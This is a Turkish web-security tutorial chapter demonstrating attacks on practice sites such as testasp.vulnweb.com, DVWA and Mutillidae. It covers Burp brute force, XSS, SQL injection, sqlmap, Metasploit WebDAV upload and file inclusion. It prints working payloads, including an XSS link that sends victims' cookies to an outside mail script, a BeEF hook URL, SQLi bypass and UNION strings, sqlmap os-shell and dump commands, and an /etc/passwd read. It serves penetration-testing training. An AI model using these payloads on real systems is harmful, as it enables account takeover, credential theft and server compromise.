Web Uygulamalarına Yönelik Güvenlik

10. WEB UYGULAMALARINA YÖNELİK GÜVENLİK TESTLERİ

10.1 Web Sunucu Bilgilerinin Bulunması Dirbuster ile Altdizinlerin Tespit Edilmesi

10.1.1 Web Sunucu Bilgilerinin Bulunması

Nmap –sT –sV –n –v –Pn  munuklu.com
//
hedef ip  adresine nmap ile tarama yaparız ve hedef alacağımız sistemde öncelikli olarak hangi sistemler çalışıyor (asp,php v.b) onları gözlemlemiş oluruz. 

Web Uygulamalarına Yönelik Güvenlik

10.1.2 Alt Dizinlerin Bulunması

Domaine ait alt dizinlerin bulunması için dirbuster aracını kullanabiliriz.Komut arayüzünden dirbuster komutu ile uygulamayı açabiliriz yada applications kısmında bulabiliriz. 

Web Uygulamalarına Yönelik Güvenlik

Eğer ki Dirbuster’da proxy kullanmak istiyor isek “Options > Advanced Options ” kısmında “Http Options” kısmında proxy tanımlayabiliriz.

Web Uygulamalarına Yönelik Güvenlik

10.2 Bir Web Sitesine Ait Tüm Sayfaların Bulunması

Hedef sistemin Domain’inene ping atılarak ip adresi bulunur. Bulunan ip adresini arama motorunda

“ ip:hedefipsi” yazarak bulabilirsiniz.

Web Uygulamalarına Yönelik Güvenlik

10.3 FireForce ile Şifre Kırma Saldırıları

10.3.1 Html Form Kimlik Denetimi Kullanan Sayfalara Kaba Kuvvet Saldırısı FireForce

Form authentication kullanan sayfalara kaba kuvvet saldırı yapmak için firefox eklentisi olan Fireforce eklentisini kullanabiliriz.İlk önce firefox tarayıcısını yükleriz sonra fireforce eklentisini tarayıcaya ekleriz. Burada dikkat etmeniz gereken birşey Fireforce yazılımcıları yazılımı güncellemedikleri için sadece firefox’un eski sürümünde çalışmaktadır. O yüzden fireforce yüklemek için firefox’un 22.* sürümlerinden birine ihtiyacınız var. Öncelikle Firefox’un 22.* sürümlerinden birini kuruyorsunuz.

Web Uygulamalarına Yönelik Güvenlik

 
 

Web Uygulamalarına Yönelik Güvenlik

Web Uygulamalarına Yönelik Güvenlik

Web Uygulamalarına Yönelik Güvenlik

10.4 BurpSuite

10.4.1 Burp Suite Form Authentication olan Sitelere Dictionary Attack

İlk Önce burp suite uygulaması çalıştırılır.Daha sonra tarayıcı açılarak proxy ayarlarından 127.0.0.1:8080 olarak ayarlanır.Daha sonra atak yapılacak login sayfasına giriş yapılır.

Web Uygulamalarına Yönelik Güvenlik

Bursuite programında proxy sekmesi seçilerek interecept on seçilir ve daha sonra brute force yapacağımız sayfadan login olmaya çalışılır.Burp suite araya girer.

Web Uygulamalarına Yönelik Güvenlik

Send to intruder seçeneği seçilir.

Web Uygulamalarına Yönelik Güvenlik

Sadece kullanici ve şifre bölümleri seçilir diğer alanlar clear ile temizlenir ve saldırı tipi olarak cluster bomb seçilir.Web Uygulamalarına Yönelik Güvenlik

Saırayla 1 ve 2 seçilerek kendi oluşturduğumuz doslayalardaki kullanıcı ve şifre listesi load sekmesinden aktarılır.Web Uygulamalarına Yönelik Güvenlik

Start attack diyerek artık kaba kuvvet saldırısı başlatılır.

Web Uygulamalarına Yönelik Güvenlik

Eğer şifre bulunduysa bunu response bölümünden görebiliriz.

Web Uygulamalarına Yönelik Güvenlik

10.4.2 Burp Suite İle Http Basic Authentication Kimlik Denetimi Kullanan Sayfalara Dictionary Atağı

Burpsuite programı ile httpd basic authentication kullanan sayfalara sözlük saldırısı gerçekleştirrek hedef sistemin şifre ile korunan içerğine erişebiliriz.

 

##İlkÖnce taracıyı açılarak proxy ayarları yapılır.

Web Uygulamalarına Yönelik Güvenlik

burpsuite
##Burpsuıte programı çalıştırılır.

##Burpsuite Programı açıldıktan sonra Proxy seçeneğindeyken intercept is off seçilir.Web Uygulamalarına Yönelik Güvenlik

##Şifresini Kırmak İstediğimiz Siteye(demo.suatmunuklu.com) Girilerek Rastgele kullanıcı adı ve şifre doldurulur ve ok demeden önce burpsuite programından intercept özelliği on yapılır.

Web Uygulamalarına Yönelik Güvenlik

##İntercept özelliği on yapıldıktan sonra sayfa açılarak ok seçeneği seçilir.

 

##proxy sekmesindeyken sağa tıklayıp send intruder seçenği seçilir ve intruder sekmesine geçilir. 

Web Uygulamalarına Yönelik Güvenlik

##intruder-position  sekmesinde iken önce clear seçilir daha sonra payload seçilerek add seçeneğine tıklarız.

Web Uygulamalarına Yönelik Güvenlik

##İlk Önce Payload Type Custom İterator seçilir. Postion 1 seçili iken denenecek kullanıcı isimlerini ekleriz .Ve seperate değerini : karakteri olarak ekleriz. 

Web Uygulamalarına Yönelik Güvenlik

##position 2seçili iken denenecek şifreleri ekleriz.Ve payload processing kuralı olarak encode-base64 kuralını ekleriz. 

Web Uygulamalarına Yönelik Güvenlik

##Tüm ayarları yaptıktan sonra start attack diyerek saldırıyı başlatırız. 

Web Uygulamalarına Yönelik Güvenlik

##sonuçları kontrol ettiğimizde Sayfaya erişim yapabilmemizi sağlayacak payloadı görebiliriz(YWRtaW46MTIzMzIx).Hangi Denemenin başarılı olduğunu status kodlara bakarak anlayabiliriz 200 kodlu olan başarılı olandır. 

Web Uygulamalarına Yönelik Güvenlik

#Respnse Seçeneğini seçtiğimizde sayfaya eriştiğimizi görebiliriz.

Web Uygulamalarına Yönelik Güvenlik

##Artık Bu payloadı decode ederek kullanıcı şifre bilglerine erişebiliriz.

Web Uygulamalarına Yönelik Güvenlik

10.5 XssCross Side Scripting Saldırıları

Cross site scripting (XSS), bilgisayar güvenlik açığıdır. HTML kodlarının arasına istemci tabanlı kod gömülmesi yoluyla kullanıcının tarayıcısında istenen istemci tabanlı kodun çalıştırılabilmesi olarak tanımlanır.  

 

Saldırgan legal olan ama xss açığı bulunan sitenin linkine kendi hazırladığı javascripti ekler .Kurban bu linke tıkladığında saldırganın scriptide kurbanın tarayıcısında çalışır ve  kullanıcı cookie vs bilgileri saldırganın kendi istediği herhangi bir yere gönderelir. Bu saldırı tipi reflected xss olarak geçer.

 

Eğer Ziyaretçi defteri bulunan sayfalarda xss açığı varsa  javascript kodu veritabanına  kaydedilebilir. Bu tür xss Açıklarına Stored xss Açığı denir ve diğerlerine göre daha tehlikelidir.

 

Xss açıklarını manuel olarak deneme yanılma yöntemleri ile bulabiliriz.Genelde arama yapılabilen form sayfalarında bulunma ihtimali daha yüksektir.Bu açığı bulmak için googleda aşağıdai aramaları gerçekleştirebiliriz.

 

inurl:”/search.php?go=”
inurl:”news.php?id=”
inurl:”index.php?id=”
inurl:”?id=”

  • Arama yapıbilen sayafada arama kutucuğuna

<script>alert(“uyarı”);</script>

kod parçasını yazarak arama tuşuna basarız eğer ekrana uyarı mesajı basılırsa açık var demektir.

  • http://testasp.vulnweb.com/Search.asp?tfSearch=Suat url adresine sahip sitede

http://testasp.vulnweb.com/Search.asp?tfSearch=<script>alert(“uyari”);</script>

şeklinde değiştirip tekrar görüntüleriz eğer xss açığı varsa yine ekrana uyarı mesajı gelirse açık var demektir.

Ziyaretçi defteri bulunan sayfaya forma

<script>alert(“uyari”);</script>

kodlarına ekleyerek gönder deriz.Eğer ekrana yine uyarı mesajı gelirse bu sayfada stored xss açığı var demektir.

Stored xss Açığı bulunan Sayfada Sayfayı ziyaret edenleri istediğimiz başka bir sayfaya yönlendirmek için yorum olarak

 <script>window.location=’https://www.suatmunuklu.com'</script >

scripti eklenbilir.Boylece Kurbanlar sayfayı ziyaret ettiklerinde artık zazarlı yazılım bulunduran sayfaya yönlenirler. 

10.6 Xss ile Cookie Bilgilerini Mail Olarak Gönderme

Örnek olarak asp ile yazılmış ve test edilmesi için çeşitli açıklıklar barındıran bu siteyi deneyebiliriz. http://testasp.vulnweb.com/Search.asp sayafasına giderek arama kutucuğuna

<script>alert(“uyarı”);</script> java scriptini ekleyerek arama yaptığımızda ekrana uyari mesajının basılacağını görürüz. Ayrıca arama kutusuna:

<script>alert(document.cookie);</script> yazdığımzda ekrana cokkie bilgisinin basıldığınıda görebiliriz. Yani bu sayfada reflected xss açığı mevcuttur.O halde bu sayfayı kullnarak bu sitede login olan bir kurbanın cokkie bilgilerini çalmayı deneyebiliriz.

http://testasp.vulnweb.com/Search.asp?tfSearch=<script>location.href=”http://linux.suatmunuklu.com/mail/mail.php?suat=”+document.cookie;</script>

 

testasp.vulnweb.com/Search.asp?tfSearch=<script>location.href%3D’http%3A%2F%2linux.suatmunuklu.com%2Fmail%2Fmail.php%3
Fsuat%3D’%2Bdocument.cookie%3B<%2Fscript>

//Yukardaki linki artık kurbana tıklattığımızda kurbanın cookie bilglilerini email olarak alabiliriz.

Elde edilen cookie ile firefox eklentisi olan cookie manager+ eklentisiyle kurbanın hesabı ile login olabiliriz.

 

Php İle Mail Gönderebilmek için bu uygulamada da kullanılan php mail gönderme scriptini bu adresten İndirebilirsiniz.

10.7 XSS ile Kullanıcı Browserini Yönetme

xss açığını bulduğumuz siteyi kullanarak beef programı ile kullanıcının browserini ele geçirebiliriz. bunun önce xss açığı olan bir site bulup sonra kali üzerinde beef yazılımını kurup kurbana gerekli olan linki tıklattırmamız gerekir. Beef artık kalinin çoğu sürümünde otomatik olarak gelmektedir. Sizde kurulu olabilir.

Apt-get install beef-css
cd /usr/share/beef-xss
./beef
#Beef başlatıldıktan sonar localhost:3000/ui/panel adresinden beef:beef kullanıcı adı ve şifresiyle login olabiliriz. Bundan sonra yapmamız gereken kurbanlara aşağıdaki linki tıklatmak yeterli kalacaktır.

**** <script src=http://KALIİP:3000/hook.js></script> *****

http://testasp.vulnweb.com/Search.asp?tfSearch=%3Cscript%20src=http://KALI-IP:3000/hook.js%3E%3C/script%3E
(http://testasp.vulnweb.com/Search.asp?tfSearch=)

Web Uygulamalarına Yönelik Güvenlik

10.8 OWASP Kurulumu

Sızma testlerinde Çeşitli Açıklıkları barıdıran owasp mutillidae yazılımını kullanabiliriz.

https://github.com/webpwnized/mutillidae adresinden son versiyon yazan  mutillidae zip dosyasını indirebiliriz.

İndirme işlemlerini yapmadıktan önce öncelikle ortamımızı hazırlamamız gerek bunun için apache , mysql , php gibi yazılımların kurulu olması gerek.Kurmanız ve veritabanı ayarlarınızın yapmanız için gerekli tüm bilgileri aşağıda tarafınıza paylaşıyor olacağım. 

* apt-get install apache2 -y (Apache kurulumu)
*  a2enmod rewrite (Modu aktif ediyoruz. Bazen apache2 servisini restart etmemizi istiyebilir)
*  /etc/apache2/apache2.conf (Conf dosyasına gidip /var/www klasörünün AllowOverride değerini all yapıyorum. 
*  apt-get install php libapache2-mod-php (Php kuruyoruz)
*  apt-get install mysql-server php-mysql

—- MYSQL kurulumundan sonra root kullanıcısına şifre tanımlamamız lazım onun için ; 

* mysql -u root

* use mysql;

* update user set authentication_string=PASSWORD(‘mutillidae’) where user=’root’;

* pdate user set plugin=’mysql_native_password’ where user=’root’;

* flush privileges; 

—- Owasp’in php kodlamaları çalışması için php’in xml , curl, mbstring adında uygulamaları mevcut bunlarıda yüklememiz gerekecek.

* apt-get install php7.2-xml  php7.2-curl php7.2-mbstring

Bundan sonra tarafınıza verdigim linkten Owasp indirip ardından Apache syunucunuzun yayın yaptığı klasöre yükleyerek erişim sağlayabilrisiniz. (/var/www/html gibi)

 


#tarayıcıdan localhost/mutillidae  adresinden owasp arayüzüne ulaşabiliriz.(İlk açılışta start-reset db seçmemiz gerekir)

10.9 SQL Injection

10.9.1 Temel Sql İnjection Bilgisi

SQL injection’ı tam olarak anlamak ve uygulayabilmek için iyi seviye sql bilgisi gerekmektedir.

Aşağıdaki sorguların syntax’ı ve kısa açıklamaları sadece hatırlatma amacıyla yazılmıştır. Eğer sql

bilmiyorsanız http://www.w3schools.com/sql/default.asp adresinden sql çalışmanız daha yararlı olacaktır.

 

Select

Database’den veri seçmek için kullanılır.

SELECT sutun1, sutun2 FROM tablo

Where

SELECT sutun1, sutun2 FROM tablo WHERE sutun1 operator deger

select * from urunler where fiyat=’10’;

LIKE

Where operatörlerinden biridir. Veritabanında arama Yapmak İçin Kullanılabilir.

SELECT * FROM musteriler WHERE isim LIKE %suat%;

 

 

Update

Tablodaki kayıtları güncellemek için kullanılır.

UPDATE tablo SET sutun1=deger1, sutun2=deger2,… WHERE sutun=deger

 

INSERT INTO

Tabloya yeni kayıtlar girmek için kullanılır.

INSERT INTO tablo VALUES (deger1, deger2,…)

ALTER TABLE

Bir tabloya sütun eklemek, varolan sütunları değiştirmek veya silmek için kullanılır.

ALTER TABLE tablo ADD sutun veri_tipi

ALTER TABLE tablo DROP COLUMN sutun

ALTER TABLE tablo MODIFY sutun veri_tipi

UNION

İki veya daha fazla sayıdaki SELECT ifadesini birleştirmek için kullanılır.

SELECT sutun1,sutun2,… FROM tablo1 UNION SELECT sutun6,sutun7,… FROM tablo2

DROP

Tablo, veritabanı ve index silmek için kullanılır.

DROP TABLE tablo

DROP DATABASE veritabanı

ALTER TABLE tablo DROP INDEX index (MySQL)

DROP INDEX index (Oracle)

JOIN

İki ya da daha fazla tablodaki satırları birleştirmek için kullanılır.

SELECT sutun1 FROM tablo1 {JOIN İFADELERİ} tablo2 ON tablo1.sutun = tablo2.sutun

INNER JOIN (ya da sadece JOIN): Birleştirilen tabloların hepsinde, en az bir eşleşme olduğunda bütün satırları döndürür.

LEFT JOIN: Birleştirilen sağdaki tablolardaki eşleşmeleri soldaki tablonun bütün satırları ile birlikte döndürür.

RIGHT JOIN: Birleştirilen soldaki tablolardaki eşleşmeleri sağdaki tablonun bütün satırları ile birlikte döndürür.

FULL JOIN: Birleştirilen tabloların sadece birinde eşleşme olduğunda bütün satırları döndürür.

10.9.2 Sql İnjection Nedir ?

Bir uygulama Kullanılarak veritabanınına gönderilen sql kodlarına saldırganlar tarafından sql kodu enjekte edilmesine  sql injection(sql enjeksiyon) denir.

Saldırganlar uygulama üzerinden sql injection yaparken meta karakterler kullanabilirler.

Meta-karakter bir program için özel anlamı olan karakterlere verilen isimdir. Örnek olarak C temelli C#, Javascript, PHP gibi dillerde (\) backslash karakteri bir meta-karakterdir. Compiler (derleyici) ya da Interpreter (yorumlayıcı) bu karakteri görünce ondan sonraki karakteri ona göre işler.

SQL’ için kritik metakarakter (‘) tek tırnak’ tır. Çünkü iki tek tırnağın arası string olarak algılanır. Diğer bir önemli meta-karakter ise (;) noktalı virgüldür, satırın bittiğini ve yeni satır başladığını bildirir.

10.9.3 Sql İnjection Çeşitleri

Veri çekme yöntemine göre:

  • Inband
  • Out of band

Sunucudan dönen cevaba göre:

  • Hata tabanlı SQL Injection
  • Union
  • Double
  • Blind SQL Injection
  • Boolean tabanlı
  • Zaman tabanlı

Veri tipine göre:

  • String tabanlı
  • Integer tabanlı

Inband: Web sitedeki girdi noktalarıyla aynı bağlantıyı kullanarak yapılan sql enjeksiyonlarıdır.

Out of band: Web sitelerindeki girdi noktalarının dışında bir kanal kullanılarak (Ör: UTL_HTTP ve DNS) yapılan enjeksiyonlardır. Dosyaya yazma ifadeleri (into outfile) kullanarak gerçekleştirilir.

Hata Tabanlı: Hata verdirmek üzere yapılan enjeksiyonlardır. Hata verdirdikten sonra hem zafiyetten emin olunur hem de hata mesajından kullanılan sisteme ait önemli bilgiler elde edilebilir.

Bu bilgiler daha sonraki sorgular için kullanılabilir.

Union: Hata tabanlı sql injectionlarda kullanılan sorgulardan biridir. Union sorguları iki ya da daha fazla select ifadesini birleştirirmek için kullanılır.

Double: Hata tabanlı sql injection metodlarından biridir. Temel olarak bu yöntem iki sql sorgusunu tek bir sorgu ifadesinde birleştirerek hata verdirmeye çalışmaktır. Blind sql enjeksiyonu yöntemlerinden çok daha hızlıdır.

Boolean Tabanlı: Mantıksal ifadenin sonucuna (True ya da False) göre çalışan sorgular için yapılan sql enjeksiyonlarıdır.

Zaman Tabanlı: Diğer bir blind sql injection yöntemlerinden biridir. Sorgu sonucu gözükmediğinden, sorgunun çalışıp çalışmadığı sleep() benchmark() gibi fonksiyonlar yardımıyla anlaşılır.

Veri Tipine Göre: Zayıflığın bulunduğu parametrenin aldığı değerin veri tipine göre yapılan enjeksiyonlardır. Integer ya da string olabilir.

Örnek:
http://dvwa/sayfa.php?id=Mehmet Adresinin sonuna tırnak(‘) işareti koyup tekrar çalıştırdığımızda eğer sayfaya sql hata kodları donuyorsa bu sayfada hata tabanlı sql injection yakalamış oluruz.

Örnek:
http://dvwa/sayfa.php?id=Suat   adresininn sonuna ‘and 1=’1  ve  ‘and 1=’2 ekleriz ve eğer ikisinde farklı sonuç alırsak bu şekilde blind sql injection Açığını yakalamış oluruz.

Örnek:

 Web Uygulamalarına Yönelik Güvenlik Web Uygulamalarına Yönelik Güvenlik

##Url ‘nin Sonuna Tırnak(‘) işareti ekleyerek Sayfayı tekrar çalıştırırız ve sayda herhangi bir sql hata kodu varsa muhtemenlen bu sayfada sql injection açığı vardır.(Bu şekilde sqlinjection bulma yönetimne hata bazlı sql injection bulma yöntemi denir).Hata Kodu Donduğunde artık id dğişkeni ile alınan değerin sql sorgusunda kullanıldığını anlamış oluruz ve Kendi sql kodlarımızı enjekt etmeye çalışabiliriz. Aşağıda gördügünüz resimde bize sorulan alanda bir değer girmemiz istemektedir. Bu değeri görüntüledigimizde veritabanına erişerek veri çektiğini görmekteyiz.

Web Uygulamalarına Yönelik Güvenlik

Bu değeri sorguladığımızda ”  select first_name , last_name from users WHERE user_id = ‘1’ ”  çalıştırdıgını gözlemleriz. Tabi biz bunun yanına or komutu ile hem last_name’in hemde first_name‘in 1. columns değerlerini çekeceğiz. 

Web Uygulamalarına Yönelik Güvenlik

Bize gördügünüz gibi ” ‘or ‘1’=’1 ” yazarak tüm kullanıcılar getirmiş bulunmakta. Tabi bize kritik bilgiler gerek bunun için UNION çalıştırmamız lazım. ama öncelikle ORDER BY kullanarak kaçtane sutün seçebildigimizi görüntülememiz lazım 

Web Uygulamalarına Yönelik Güvenlik

‘ or ‘1’=’1′ ORDER BY 2# ”  ve bir kaç denemeye yanılma yönetimi yaparak 2 tane seçtiğini gözlemliyorum. 3 taneyi denedigimde hata verdigini gözlemliyorum. Onun hata çıktısı aşağıda ki gibidir. 

Web Uygulamalarına Yönelik Güvenlik

2 tane sutün seçtigini gözlemleyebildim. Bu durumda UNİON kodunu artık kullanabilirim. Tabi SQL kodlamasını bozmadan tekrardan ”  ‘ or ‘1’=’1′ union select database(),version()# ” yazarak seçii olan database’i ver version bilgisini ögrenebiliyorum. Bu durumda union kodlamasının çalıştığını görebiliyorum. 

Web Uygulamalarına Yönelik Güvenlik

Bu süreçten sonra UNİON ile gerekli kritik bilgileri çekebilecegim. tabi bana öncelikle Database bilgisi lazım onu zaten demin çalıştırdıgımız kodlama ile görmüş olduk. “dvwa” database adı bunun içinde ki table bilgilerini çekmem gerekecek onun için ise ” 1′ union select table_name, 2 from information_schema.tables WHERE table_schema=’dvwa’ ” yazmamız gerekeccek Bu kısımda ise bize database içinde ki tableları getirecektir. 

Web Uygulamalarına Yönelik Güvenlik

gördügünüz üzere iki tane table oldugunu gözlemliyorum. guest ve users adında artık bunun içinde ki clumns bilgilerini çekmem lazım , çünkü sutünleri ögrenmem lazım ki içinde ki verileri çekebiyeim. Columns isimlerini çekmek için ise almak istedigim table’n ismine ” 1′ union select column_name, 2 FROM information_schema.columns WHERE table_schema=’dvwa’ AND table_name=’TABLENAME’# ” yazmam gerek , yazdığımda ise  

Web Uygulamalarına Yönelik Güvenlik

Bize users table’in içinde ki columns bilgilerini getirecektir.  Columns bilgilerini ögrendigimize göre artık verisini çekmek istedigim columns ismini yazarak UNION ile içinde ki verileri çekebilirim. Bunun için ise 

1′ UNION select user,password FROM users # ” 

Web Uygulamalarına Yönelik Güvenlik

Gördügünüz üzere kullanıcının hem user name hemde hashlenmiş password bilgilerini ele geçirmiş olduk.

#sayfadaki koda kendi SQL kodumuzu enjekte ettikten sonra ki hali boyle olur ve veritabanından kullanıcı ve şifre bilgilerini çekmiş oluruz.

##Bu şekilde sql injectioan saldırılarından korunmak için kodlarımızd kullanıcılardan aldığımız inputlarda çeşitli kontoller yaparak kullanıcıların metakarakter kullanmalarını engllememiz gerekir.

Hatalı Kodlar ;

Web Uygulamalarına Yönelik Güvenlik

Düzeltilmis Kodlar;

Web Uygulamalarına Yönelik Güvenlik

10.9.4 Sql İnjection ile Authentication Bypass

Sql injection açığı bulunan sayfalarda , sql kodları çalıştırarak authentication istenilen sayfalara giriş yapabiliriz yani bypass duruma getirip şifre veya kullanıcı adı istemeden bilmeden giriş yapabiliriz..

Test için kullandığımız OWASP sayfasına erişerek örnek görmek gösterecegim.

* Öncelik OWASP üzerinde username tabında nasıl bir sql sorgusu çalışıyor onu gözlemliyorum.Bunun için meta karakterimi sorgulayarak nasıl bir cevap veriyor ona bakıyorum. (OWASP penetrasyon test ortamı olduğu için bize çıktı olarak verecektir)

Web Uygulamalarına Yönelik Güvenlik

*Gördüğüm üzere ” Select * from users WHERE username = ” ” kullanılıyor. Ben bu örnegim de bypass etmek için ” ‘or 1=1 — ” kullandım. Bunu kullandığım zaman ise sorgum tamamen “Select * from users WHERE username = ” OR 1=1 — ‘ ” olacak . 

Web Uygulamalarına Yönelik Güvenlik

* Sorgumu kullandığım zaman bana giriş izni verecektir.

Web Uygulamalarına Yönelik Güvenlik

*Gördügünüz üzere admin kullanıcısı olarak giriş sağlayabildim. Bu şekilde sql kodları kullanarak her hangi bir kullanıcı bilgisine ihtiyacımız olmadan bile rahatlıkla giriş sağlayabildik. 

Web Uygulamalarına Yönelik Güvenlik

10.9.5 Live Http Header ile Sql İnjection önlemlerini atlatma

SQL injection ile authentication bypass ederek login erişimi sağladık , çoğu kişi bu açığı kapatmak için java kodlama sağlar ve kodlamalarında özel karakterleri veya meta karakterleri engeller. Bu tür durumlarda ise Live http header programı bize yardımcı olacaktır. Live http header programı Firefox eklentisidir. Eski bir eklenti olmakla beraber firefox’un eski sürümlerinde çalışır. Peki java kodlama yazan birisini nasıl bir kodlama yazar aşağıda bulabilirsiniz. 

Web Uygulamalarına Yönelik Güvenlik

Gözlemlediginiz gibi ” /select/ , /’/ , /union/ gibi karakterlere geçersiz kullanıcı veya şifre olarak tanımla demiş. Peki biz live http’yi kullanarak bu durumu nasıl aşacağız. Öncelikle firefox üzerinden live http header eklentisini kuruyorum. 

Web Uygulamalarına Yönelik Güvenlik

Kurulum işlemini tamamladıktan sonra saldırı yapacağım login ekranına erişim sağlıyorum. F10 tuşuna basarak yukarıda açılan tools sekmesinden Live Http Headers’ı çalıştırıyorum. 

Web Uygulamalarına Yönelik Güvenlik

Live Http çalıştırdıktan sonra karşıma boş bir loglama ekranı gelecek. Burası benim firefox browser üzerinde trafigi döndürünce üstünden geçen POST verileri yakalayıp işlem yapacağım yer. Web Uygulamalarına Yönelik Güvenlik

login olacağım ekranın üzerinde verilerin gelmesi amaçlı yanlış bir kullanıcı adı ve şifre girişi sağlıyorum ve sitenin arka planında ne gibi işlem dönüyor onu gözlemliyorum. 

Web Uygulamalarına Yönelik Güvenlik

Gördügünüz üzere site üzerinde giriş yaptığım veriler gelmiş görünmekte. Username ve password tablarını burada görebiliyorum. Benim bu tabları değiştirmem gerek. Tabları değiştirmek için ise kodlamanın üstüne basıp , replay tuşuna basıyorum. 

Web Uygulamalarına Yönelik Güvenlik

Replay tuşuna basınca bana kodlama üzerinde veri değişikliği yapmama izin verdi. Send post seçeneği ise sitenin üstüne tekrardan veri göndermemi sağlayacaktır. Burada gerekli değişikliği sağlayıp tekrardan Replay diyerek hedef aldığımız siteye login olmaya çalışıyorum. 

Web Uygulamalarına Yönelik Güvenlik

Web Uygulamalarına Yönelik Güvenlik

Ve gördüğünüz tekrardan ‘or 1=’1 komutunu yani true döndür komutu çalıştırarak admin kullanıcı ile login olmayı başardık. 

10.10 Sqlmap Kullanımı

sqlmap ile daha önce sql injection zafiyeti olduğunu bulduğumuz sayfaları kullanarak hedef sistemin veritabanları hakkında bilgiler edinebiliriz.

Sqlmap ile Veritabanında Veri Çekilmesi

sqlmap -u ‘testasp.vulnweb.com/showforum.asp?id=0’ –dbs –current-user

Web Uygulamalarına Yönelik Güvenlik

Tabloların Bulunması

sqlmap -u ‘testasp.vulnweb.com/showforum.asp?id=0’ -D acublog –tables

Web Uygulamalarına Yönelik Güvenlik

Tablodaki Sütünların Bulunması

sqlmap -u ‘testasp.vulnweb.com/showforum.asp?id=0’ -D acublog -T users –columns

Web Uygulamalarına Yönelik Güvenlik

Kullanıcı Adı ve Şifrelerin Çekilmesi

sqlmap -u ‘testasp.vulnweb.com/showforum.asp?id=0’ -D acublog -T users -C uname,upass –dump

Web Uygulamalarına Yönelik Güvenlik

10.10.1 Sqlmap İle İşletim Sisteminin Ele Geçirilmesi

sqlmap -u ‘testasp.vulnweb.com/showforum.asp?id=0’ –os-shell

10.10.2 Sqlmap İle Meterpeter Kabuğu yada VNC Elde etmek

sqlmap -u ‘testasp.vulnweb.com/showforum.asp?id=0’ –os-pwn

10.10.3 Sqlmap Proxy ile Kullanımı

sqlmap -u “http://hedef-web-sayfası/index.php?id=2″ -dbms –proxy=”IP:Port” –proxy-cred=”KulAdi:Sifre”

10.11 Put Metodu ile Web Sunucularına Dosya Atılması

Hedef web sunucuları üzerinde eğer http put ve delete metodu açık unutulmuşsa  sunucuya put ve delete methodu ile dosya gonderip silebiliriz. Bu zafiyeti metasploit ile sömürülebilir.

msfconsole
use auxilary/scanner/http/http_put
show options
set RHOSTS 192.168.10.0/24
exploit
#
Web sunucularına put metodu ile dosya atmayı denetler.

Put methodu açık olan web sunucularında ayrıca webdaw dizinleri varsa bu durumda iis_webdaw_upload_asp expolit modülünü kullanabiliriz.

use exploit/windows/iis/iis_webdav_upload_asp
set RHOSTS 192.168.10.98
exploit

10.12 Http Tamper Data Eklentisi Kullanımı

Http tamper data eklentisi ile tıpkı live httpd header eklentisi gibi http  trafiğinde araya girerek veriyi manipüle edebiliriz. Http tamper artık firefox tarafından desteklenmiyor. Ek olarak eklentiyi başka sitelerde bulduğunuz süre zarfında kurulum yapabilirsiniz.

Tools sekmesinden tamper eklentisini sçerek start tamper seçeriz.Sonrada login tuşuna basarız.

Web Uygulamalarına Yönelik Güvenlik

Ve tamper eklentisi http trafiğini yakaladı bize bunu manipule etmek isteyip istmedğimizi soruyor bi tamper sçeneğini seçiyoruz.

Web Uygulamalarına Yönelik Güvenlik

kullanıcı adı bölümünü admin’ ‘1’=’1′– olacak şekilde giriyoruz şifre bolmune isteidğimizi girebilriiz çunku — karakterleri sağ tarafı yorum haline getiryor.

Web Uygulamalarına Yönelik Güvenlik

Gördüğümüz üzere sisteme admin kullanıcı ile login olduk.

Web Uygulamalarına Yönelik Güvenlik

 

10.13 Local File inclusion

Local File İnclusion : yetkisiz olarak sunucudan dosya çağırma işlemidir.Eğer Sunucu yanlış yapılandırılmışsa veya  üzerindeki çalışan uygulama kodları hatalı ise bu açığı kullanarak sunucu üzerindeki normalde erişim yetkimiz olmayan dosyaların içeriğini görüntüleyebiliriz.(passwd ,shadow vs dosyaları gibi)

 

Daha öncede kullandığımız owasp mutilliade yazılımını açarız ve text file viewer sayfasını açarız.

Web Uygulamalarına Yönelik Güvenlik

Burpsuite uygulamaısnı çalıştırırız ve tarayıcı ayarlarından tarayıcnın proxy ayarını 127.0.0.1:8080 olacak şekilde ayarlarız.Burpsuite proxy sekmesinde intercept is on seçeriz.

Web Uygulamalarına Yönelik Güvenlik

View file deriz böyelece burpsuite uygulaması http trafiğini yakalar.

Web Uygulamalarına Yönelik Güvenlik

Gördüğümüz gibi burpsuite paketleri yakaladı bizim yapmamız gereken paket header bilgilerinden textfile header bilgisini değiştirerek /etc/passwd dosyasını yazmak olacak./etc/passwd yazdıktan sonra forward sekmesini seçeriz.

Web Uygulamalarına Yönelik Güvenlik

Web Uygulamalarına Yönelik Güvenlik

Gördüğümüz gibi owasp web sitesinde lfi açığını kullanarak linux türevli işletim sistemlerinde kritik bilgiler barındıran passwd dosyaısnı görüntülemiş olduk.

Web Uygulamalarına Yönelik Güvenlik

10.14 LFI 2

Local file inclusion atağını tek bir dosya için yaptık eğer istersek kendi oluşturduğumuz bir listenin heps için deneme yapabiliriz.

Web Uygulamalarına Yönelik Güvenlik

Web Uygulamalarına Yönelik Güvenlik

Web Uygulamalarına Yönelik Güvenlik

Denemek istediğimiz dosya isimlerini ekleriz.Web Uygulamalarına Yönelik Güvenlik

Web Uygulamalarına Yönelik Güvenlik

 

10.15 Directory Treversal

Directory treversal; dizinler arası geçiş açığıdır.Bu açık sayesinde dizinler arası geçiş yapılarak passwd dosyası gibi kritik dosyalar görüntülenebilir.

Web Uygulamalarına Yönelik Güvenlik

10.16 W3AF ile Otomatize Web Güvenlik Testleri

w3af aracı eski linux sürümlerinde otomatik olarak gelmekteyti. Yeni sürümlerde manuel olarak kurmamız gerekecek , bunun için ise ” http://w3af.org/download ” linkine giderek gerekli talimatları izleyebiliriz. Öncelikli olarak kurulum tabına gelmeden önce belirli paketler yüklememiz gerek .  Tabi hepsinden önce kali sunucumuzu güncel tutmamız gerek,

apt-get install libssl-dev

apt-get install python-dev libxslt1-dev zlib1g-dev

apt-get install npm

Ardından talitmaları izlerken kullanacağımız pip sürümünü upgrade etmemiz gerekecek onun için ise 

pip install –upgrade –force-reinstall pip==9.0.3

Bı paketleri yükledikten sonra gerekli talimatları izleyerek w3af toolunu açabiliriz. 

w3af aracı ile web sistelerini otamatize şekilde taratarak açıklıkları bulabiliriz.w3af ile tarama yaptıktan sonra açıklıkları log menüsü altında görebiliriz.

Web Uygulamalarına Yönelik Güvenlik

Web Uygulamalarına Yönelik Güvenlik

10.17 OWASP ZAP ile Otomatize Web Güvenlik Testleri

Sızma testlerinde hedef web sayfası üzerindeki güvenlik zafiyetlerini owasp-zap programı ile otamatize bir şekilde tarama yaparak bulabiliriz.

Owasp-zap
